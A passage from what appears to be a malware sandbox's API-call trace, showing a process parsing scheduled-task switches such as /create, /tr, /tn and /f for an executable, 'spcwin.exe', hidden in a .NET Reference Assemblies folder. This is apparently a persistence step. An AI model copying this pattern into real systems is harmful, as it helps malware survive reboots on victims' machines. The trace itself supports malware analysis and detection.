lpSrch="|tr|") returned 0x0 [0129.495] SetLastError (dwErrCode=0x490) [0129.495] lstrlenW (lpString="mo") returned 2 [0129.495] lstrlenW (lpString="mo") returned 2 [0129.495] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.495] lstrlenW (lpString="tr") returned 2 [0129.495] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.495] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.495] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.495] lstrlenW (lpString="|mo|") returned 4 [0129.495] lstrlenW (lpString="|tr|") returned 4 [0129.495] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0129.495] SetLastError (dwErrCode=0x490) [0129.495] lstrlenW (lpString="d") returned 1 [0129.495] lstrlenW (lpString="d") returned 1 [0129.495] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.495] lstrlenW (lpString="tr") returned 2 [0129.495] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.495] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|d|") returned 3 [0129.495] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.495] lstrlenW (lpString="|d|") returned 3 [0129.495] lstrlenW (lpString="|tr|") returned 4 [0129.496] SetLastError (dwErrCode=0x490) [0129.496] lstrlenW (lpString="m") returned 1 [0129.496] lstrlenW (lpString="m") returned 1 [0129.496] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.496] lstrlenW (lpString="tr") returned 2 [0129.496] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.496] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|m|") returned 3 [0129.496] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.496] lstrlenW (lpString="|m|") returned 3 [0129.496] lstrlenW (lpString="|tr|") returned 4 [0129.496] SetLastError (dwErrCode=0x490) [0129.496] lstrlenW (lpString="i") returned 1 [0129.496] lstrlenW (lpString="i") returned 1 [0129.496] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.496] lstrlenW (lpString="tr") returned 2 [0129.496] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.496] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|i|") returned 3 [0129.496] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.496] lstrlenW (lpString="|i|") returned 3 [0129.496] lstrlenW (lpString="|tr|") returned 4 [0129.496] SetLastError (dwErrCode=0x490) [0129.496] lstrlenW (lpString="tn") returned 2 [0129.496] lstrlenW (lpString="tn") returned 2 [0129.496] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.496] lstrlenW (lpString="tr") returned 2 [0129.496] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.497] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.497] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.497] lstrlenW (lpString="|tn|") returned 4 [0129.497] lstrlenW (lpString="|tr|") returned 4 [0129.497] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0129.497] SetLastError (dwErrCode=0x490) [0129.497] lstrlenW (lpString="tr") returned 2 [0129.497] lstrlenW (lpString="tr") returned 2 [0129.497] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.497] lstrlenW (lpString="tr") returned 2 [0129.497] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.497] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.497] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.497] lstrlenW (lpString="|tr|") returned 4 [0129.497] lstrlenW (lpString="|tr|") returned 4 [0129.497] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0129.497] SetLastError (dwErrCode=0x0) [0129.497] SetLastError (dwErrCode=0x0) [0129.497] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.497] lstrlenW (lpString="-/") returned 2 [0129.497] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.497] SetLastError (dwErrCode=0x490) [0129.497] SetLastError (dwErrCode=0x490) [0129.497] SetLastError (dwErrCode=0x0) [0129.497] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.497] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'" [0129.497] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.497] _memicmp (_Buf1=0x1ec380, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.498] _memicmp (_Buf1=0x1ed530, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.498] SetLastError (dwErrCode=0x7a) [0129.498] SetLastError (dwErrCode=0x0) [0129.498] SetLastError (dwErrCode=0x0) [0129.498] lstrlenW (lpString="'C") returned 2 [0129.498] lstrlenW (lpString="-/") returned 2 [0129.498] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.498] SetLastError (dwErrCode=0x490) [0129.498] SetLastError (dwErrCode=0x490) [0129.498] SetLastError (dwErrCode=0x0) [0129.498] _memicmp (_Buf1=0x1ed590, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.498] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.498] GetProcessHeap () returned 0x1d0000 [0129.498] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5b0) returned 1 [0129.498] GetProcessHeap () returned 0x1d0000 [0129.498] RtlReAllocateHeap (Heap=0x1d0000, Flags=0xc, Ptr=0x1ed5b0, Size=0xae) returned 0x1ec2c0 [0129.498] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.498] lstrlenW (lpString=" \x09") returned 2 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.498] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0129.499] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0129.499] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.499] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.500] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0129.501] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0129.501] GetLastError () returned 0x0 [0129.501] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.501] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.501] SetLastError (dwErrCode=0x0) [0129.501] SetLastError (dwErrCode=0x0) [0129.501] lstrlenW (lpString="/f") returned 2 [0129.501] lstrlenW (lpString="-/") returned 2 [0129.501] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.501] lstrlenW (lpString="create") returned 6 [0129.501] lstrlenW (lpString="create") returned 6 [0129.502] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.502] lstrlenW (lpString="f") returned 1 [0129.502] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.502] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|create|") returned 8 [0129.502] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.502] lstrlenW (lpString="|create|") returned 8 [0129.502] lstrlenW (lpString="|f|") returned 3 [0129.502] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0129.502] SetLastError (dwErrCode=0x490) [0129.502] lstrlenW (lpString="?") returned 1 [0129.502] lstrlenW (lpString="?") returned 1 [0129.502] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.502] lstrlenW (lpString="f") returned 1 [0129.502] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.502] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|?|") returned 3 [0129.502] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.502] lstrlenW (lpString="|?|") returned 3 [0129.502] lstrlenW (lpString="|f|") returned 3 [0129.502] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0129.502] SetLastError (dwErrCode=0x490) [0129.502] lstrlenW (lpString="s") returned 1 [0129.502] lstrlenW (lpString="s") returned 1 [0129.502] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.502] lstrlenW (lpString="f") returned 1 [0129.502] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.503] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|s|") returned 3 [0129.503] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.503] lstrlenW (lpString="|s|") returned 3 [0129.503] lstrlenW (lpString="|f|") returned 3 [0129.503] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0129.503] SetLastError (dwErrCode=0x490) [0129.503] lstrlenW (lpString="u") returned 1 [0129.503] lstrlenW (lpString="u") returned 1 [0129.503] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.503] lstrlenW (lpString="f") returned 1 [0129.503] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.503] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|u|") returned 3 [0129.503] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.503] lstrlenW (lpString="|u|") returned 3 [0129.503] lstrlenW (lpString="|f|") returned 3 [0129.503] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0129.503] SetLastError (dwErrCode=0x490) [0129.503] lstrlenW (lpString="p") returned 1 [0129.503] lstrlenW (lpString="p") returned 1 [0129.503] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.505] lstrlenW (lpString="f") returned 1 [0129.505] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.505] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|p|") returned 3 [0129.505] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.505] lstrlenW (lpString="|p|") returned 3 [0129.505] lstrlenW (lpString="|f|") returned 3 [0129.505] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0129.505] SetLastError (dwErrCode=0x490) [0129.505] lstrlenW (lpString="ru") returned 2 [0129.505] lstrlenW (lpString="ru") returned 2 [0129.505] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.505] lstrlenW (lpString="f") returned 1 [0129.505] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.505] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|ru|") returned 4 [0129.505] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.506] lstrlenW (lpString="|ru|") returned 4 [0129.506] lstrlenW (lpString="|f|") returned 3 [0129.506] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0129.506] SetLastError (dwErrCode=0x490) [0129.506] lstrlenW (lpString="rp") returned 2 [0129.506] lstrlenW (lpString="rp") returned 2 [0129.506] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.506] lstrlenW (lpString="f") returned 1 [0129.506] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.506] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|rp|") returned 4 [0129.506] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.506] lstrlenW (lpString="|rp|") returned 4 [0129.506] lstrlenW (lpString="|f|") returned 3 [0129.506] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0129.506] SetLastError (dwErrCode=0x490) [0129.506] lstrlenW (lpString="sc") returned 2 [0129.506] lstrlenW (lpString="sc") returned 2 [0129.506] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.506] lstrlenW (lpString="f") returned 1 [0129.506] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.506] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.506] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.506] lstrlenW (lpString="|sc|") returned 4 [0129.506] lstrlenW (lpString="|f|") returned 3 [0129.506] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0129.507] SetLastError (dwErrCode=0x490) [0129.507] lstrlenW (lpString="mo") returned 2 [0129.507] lstrlenW (lpString="mo") returned 2 [0129.507] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.507] lstrlenW (lpString="f") returned 1 [0129.507] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.507] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.507] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.507] lstrlenW (lpString="|mo|") returned 4 [0129.507] lstrlenW (lpString="|f|") returned 3 [0129.507] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0129.507] SetLastError (dwErrCode=0x490) [0129.507] lstrlenW (lpString="d") returned 1 [0129.507] lstrlenW (lpString="d") returned 1 [0129.507] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.507] lstrlenW (lpString="f") returned 1 [0129.507] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.507] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|d|") returned 3 [0129.507] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.507] lstrlenW (lpString="|d|") returned 3 [0129.507] lstrlenW (lpString="|f|") returned 3 [0129.507] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0129.507] SetLastError (dwErrCode=0x490) [0129.507] lstrlenW (lpString="m") returned 1 [0129.507] lstrlenW (lpString="m") returned 1 [0129.508] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.508] lstrlenW (lpString="f") returned 1 [0129.508] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.508] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|m|") returned 3 [0129.508] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.508] lstrlenW (lpString="|m|") returned 3 [0129.508] lstrlenW (lpString="|f|") returned 3 [0129.508] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0129.508] SetLastError (dwErrCode=0x490) [0129.508] lstrlenW (lpString="i") returned 1 [0129.508] lstrlenW (lpString="i") returned 1 [0129.508] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.508] lstrlenW (lpString="f") returned 1 [0129.508] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.508] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|i|") returned 3 [0129.508] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.508] lstrlenW (lpString="|i|") returned 3 [0129.508] lstrlenW (lpString="|f|") returned 3 [0129.508] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0129.508] SetLastError (dwErrCode=0x490) [0129.508] lstrlenW (lpString="tn") returned 2 [0129.508] lstrlenW (lpString="tn") returned 2 [0129.508] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.508] lstrlenW (lpString="f") returned 1 [0129.509] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.509] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.509] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.509] lstrlenW (lpString="|tn|") returned 4 [0129.509] lstrlenW (lpString="|f|") returned 3 [0129.509] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0129.509] SetLastError (dwErrCode=0x490) [0129.509] lstrlenW (lpString="tr") returned 2 [0129.509] lstrlenW (lpString="tr") returned 2 [0129.509] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.509] lstrlenW (lpString="f") returned 1 [0129.509] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.509] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.509] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.509] lstrlenW (lpString="|tr|") returned 4 [0129.509] lstrlenW (lpString="|f|") returned 3 [0129.509] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0129.509] SetLastError (dwErrCode=0x490) [0129.509] lstrlenW (lpString="st") returned 2 [0129.509] lstrlenW (lpString="st") returned 2 [0129.509] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.509] lstrlenW (lpString="f") returned 1 [0129.509] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.509] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|st|") returned 4 [0129.509] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.510] lstrlenW (lpString="|st|") returned 4 [0129.510] lstrlenW (lpString="|f|") returned 3 [0129.510] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0129.510] SetLastError (dwErrCode=0x490) [0129.510] lstrlenW (lpString="sd") returned 2 [0129.510] lstrlenW (lpString="sd") returned 2 [0129.510] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.510] lstrlenW (lpString="f") returned 1 [0129.510] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.510] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sd|") returned 4 [0129.510] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.510] lstrlenW (lpString="|sd|") returned 4 [0129.510] lstrlenW (lpString="|f|") returned 3 [0129.510] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0129.510] SetLastError (dwErrCode=0x490) [0129.510] lstrlenW (lpString="ed") returned 2 [0129.510] lstrlenW (lpString="ed") returned 2 [0129.510] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.510] lstrlenW (lpString="f") returned 1 [0129.510] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.510] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: 